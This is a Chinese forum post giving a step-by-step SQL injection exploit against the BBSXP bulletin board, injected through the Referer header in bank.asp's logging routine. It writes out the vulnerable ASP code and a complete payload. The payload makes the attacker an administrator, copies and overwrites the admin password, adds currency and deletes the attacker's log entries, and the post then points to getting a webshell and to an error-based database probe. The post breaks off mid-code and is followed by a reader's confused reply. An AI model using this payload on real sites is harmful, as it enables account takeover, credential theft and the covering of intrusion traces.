bbsxp log 注入
By WhyTt<BR>参数直接带如查询的函数和过程<BR><BR>menu<BR>BBSList<BR>ForumTree<BR>Log<BR>ShowRank<BR>ShowRole<BR>DelFile//deletefile<BR>还记的以前在blog发的一篇bbsxp分析文档,<A href="http://computer.mblogger.cn/whytt/posts/59457.aspx" target=_blank>http://computer.mblogger.cn/whytt/posts/59457.aspx</A><BR><BR>由于当时只看到在监狱那里有对log的引用,而没看到这里居然还有,所以一直没继续看下去,考试大部分完了,现在每天没撒事,于是看看代码打发时间,今天早上选的是bbsxp来开刀,嘿嘿~~~~<BR>在bank.asp这个文件中,在倒数第6行那里有个对log过程的引用,<BR>就是在银行转帐这里,思路是这里的。<BR><BR>先注册2个用户,拿一个用户跟几个帖子,赚10个金币,然后去银行那里去转帐,选自己刚才注册的另一个用户,然后抓个包,修改数据包里的相关参数,具体请看log过程<BR><BR>sub Log(Message)<BR>if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""<BR>Conn.Execute("insert into (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','<A href="http:///" target=_blank target=_blank>http://</A>"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")<BR>end sub<BR><BR>我们就拿其中的Request.ServerVariables("HTTP_REFERER")来注入,这个log过程在我转帐的时候执行的查询<BR><BR>insert into (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('whytt1','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)','POST','<A href="http:///" target=_blank target=_blank>http://</A>127.0.0.1/Bank.asp','<A href="http:///" target=_blank target=_blank>http://</A>127.0.0.1/Bank.asp',",'menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ¥10 给 whytt')<BR><BR>其中最后一个<A href="http://127.0.0.1/Bank.asp" target=_blank target=_blank>http://127.0.0.1/Bank.asp</A>就是我们需要修改的Request.ServerVariables("HTTP_REFERER"),为<A href="http://127.0.0.1/Bank.asp" target=_blank target=_blank>http://127.0.0.1/Bank.asp</A>',",'menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ¥10 给 whytt');update bbsxp_users set userRoleid=1,usermoney=999,usermail=(select top 1 adminpassword from bbsxp_sitesettings) where username='whytt';update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='whytt');delete from bbsxp_log where username='tt521' or username='xiaot';--<BR><BR>这样带入查询就是:<BR><BR>insert into (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('whytt1','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)','POST','<A href="http:///" target=_blank target=_blank>http://</A>127.0.0.1/Bank.asp','<A href="http:///" target=_blank target=_blank>http://</A>127.0.0.1/Bank.asp',",'menu=virement&qmoney=10&dxname=whytt&B2=+%C8%B7+%B6%A8+','whytt1 通过银行转帐 ¥10 给 whytt');update bbsxp_users set userRoleid=1,usermoney=999,usermail=(select top 1 adminpassword from bbsxp_sitesettings) where username='whytt';update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='whytt');delete from bbsxp_log where username='tt521' or username='xiaot';--这样就把我们的whytt设置成了管理员了,而且把后台密码输出到whytt的油箱那里,而且给自己加上了999的金币,哈哈够用了吧。最后删除log表中我们的操作记录,最后然后进后台看web的绝对路径,然后通过backup log来拿webshell。<BR>By WhyTt<BR><BR>补充:为了进一步确认数据库的类型,可以通过bbsxp的一个小bug来实现。<BR><A href="http://127.0.0.1/UserTop.asp?order=" target=_blank target=_blank>http://127.0.0.1/UserTop.asp?order=</A>'whytt"0<BR>这里有时候不暴错,就在后面乱加些字符吧。。呵呵~~~我测试过,加了几次就暴错,就看到数据库的类型了。 :)<BR>后来发现用bank.asp这里来搞非常费力,要有足够的金币,所以又专门找了下其他asp文件,发现在<BR><BR>if Request.Form("UpFileID")<>"" then<BR>UpFileID=split(Request.form("UpFileID"),",")<BR>for i = 0 to ubound(UpFileID)-1<BR>Conn.execute("update set Category='"&Category&"',Description='"&Subjectre:bbsxp log 注入
<P>看不懂,利用的是输入法漏洞吗?还是什么?</P>
页:
[1]